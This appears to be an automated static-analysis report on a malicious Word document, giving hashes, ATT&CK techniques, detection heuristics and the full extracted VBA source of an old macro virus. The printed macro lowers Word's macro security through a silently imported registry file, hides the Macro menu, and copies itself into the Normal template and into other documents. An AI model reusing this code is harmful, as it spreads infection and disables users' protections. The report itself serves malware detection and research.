Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 86cee005618b12f7…

MALICIOUS

Office (OLE)

33.0 KB Created: 2001-09-18 16:06:00 Authoring application: Microsoft Word 10.0 First seen: 2012-06-14
MD5: 96a32c98c2b8f3c84c9c41fcc4dd77b4 SHA-1: 22e4537fa8756c5d87a1260bc387fb7031c113be SHA-256: 86cee005618b12f7efb515e3cfc664ce5af3b6cb43ce131b488674a7628ceac2
340 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains a malicious VBA macro within the Document_Open subroutine. This macro attempts to lower Word's macro security settings by writing to the registry key HKCU\Software\Microsoft\Office\10.0\Word\Security and then executes a command to import a temporary registry file. It also attempts to disable the macro command bar, indicating an intent to hide its execution and potentially download and execute a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Trojan.Pexas-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Pexas-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3186 bytes
SHA-256: 4bda204a08e1c1ee4d897ab56df2bde30addc5244333172dd2e9a733f132466d
Detection
ClamAV: Doc.Trojan.Pexas-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
'<XasPerant> Virus by MI_pirat
'XP-only virus (10q Bill 4 a great Office...NOT)
On Error Resume Next
StatusBar = Chr(72) + Chr(111) + Chr(114) + Chr(82) + Chr(79) + Chr(114)
zi = Day(Date)
If zi = 29 Then
MsgBox Chr(72) + Chr(111) + Chr(114) + Chr(82) + Chr(79) + Chr(114) + Chr(32) + Chr(82) + Chr(79) + Chr(99) + Chr(107) + Chr(122), vbInformation, Chr(72) + Chr(111) + Chr(114) + Chr(82) + Chr(79) + Chr(114)
Application.Quit (False)
End If
'DRINK (TM)... Motto: "DRINKDRINKDRINK" !!!
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "XP") <> "inXP" Then
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "XP") = "inXP"
Options.SaveNormalPrompt = 5 Xor 5
Open "C:\a.reg" For Output As #1
Print #1, "REGEDIT4"
Print #1, ""
Print #1, "[HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security]"
Print #1, """Level"" = dword:00000001"
Close #1
Shell "C:\Windows\regedit /s C:\a.reg"
Kill "C:\a.reg"
CommandBars(Chr(84) + Chr(111) + Chr(111) + Chr(108) + Chr(115)).Controls(Chr(77) + Chr(97) + Chr(99) + Chr(114) + Chr(111)).Enabled = (1 Xor 1)
Randomize
nr = ActiveDocument.VBProject.VBComponents(1).CodeModule.CountOfLines
Set myTemplate = Templates(1)
myTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, myTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
myTemplate.VBProject.VBComponents.Item(1).CodeModule.InsertLines 1, "Sub Document_Close"
For i = 2 To nr
xxx = ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(i, 1)
poly = Chr(Int((120 * Rnd) + 32)) + Chr(Int((120 * Rnd) + 32)) + Chr(Int((120 * Rnd) + 32)) + Chr(Int((120 * Rnd) + 32))
strn = xxx + " '" + poly
myTemplate.VBProject.VBComponents.Item(1).CodeModule.InsertLines i, strn
Next i
Documents.Open FileName:=myTemplate.FullName, ConfirmConversions:=False, ReadOnly:=False, AddToRecentFiles:=False, PasswordDocument:="", PasswordTemplate:="", Revert:=False, WritePasswordDocument:="", WritePasswordTemplate:="", Format:=wdOpenFormatAuto
ActiveDocument.Save
ActiveDocument.Close
End If
For Each aVar In ActiveDocument.Variables
    If aVar.Name = "xp" Then num = aVar.Index
Next aVar
If (num = 0) And (NormalTemplate.FullName <> ActiveDocument.FullName) Then
ActiveDocument.Variables.Add Name:="xp"
ActiveDocument.Variables("xp").Value = 1
Set myTemplate = Templates(1)
nr = myTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines
ActiveDocument.VBProject.VBComponents(1).CodeModule.DeleteLines 1, ActiveDocument.VBProject.VBComponents(1).CodeModule.CountOfLines
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.InsertLines 1, "Sub Document_Open"
For i = 2 To nr
s = myTemplate.VBProject.VBComponents(1).CodeModule.Lines(i, 1)
ActiveDocument.VBProject.VBComponents(1).CodeModule.InsertLines i, s
Next i
ActiveDocument.Save
End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.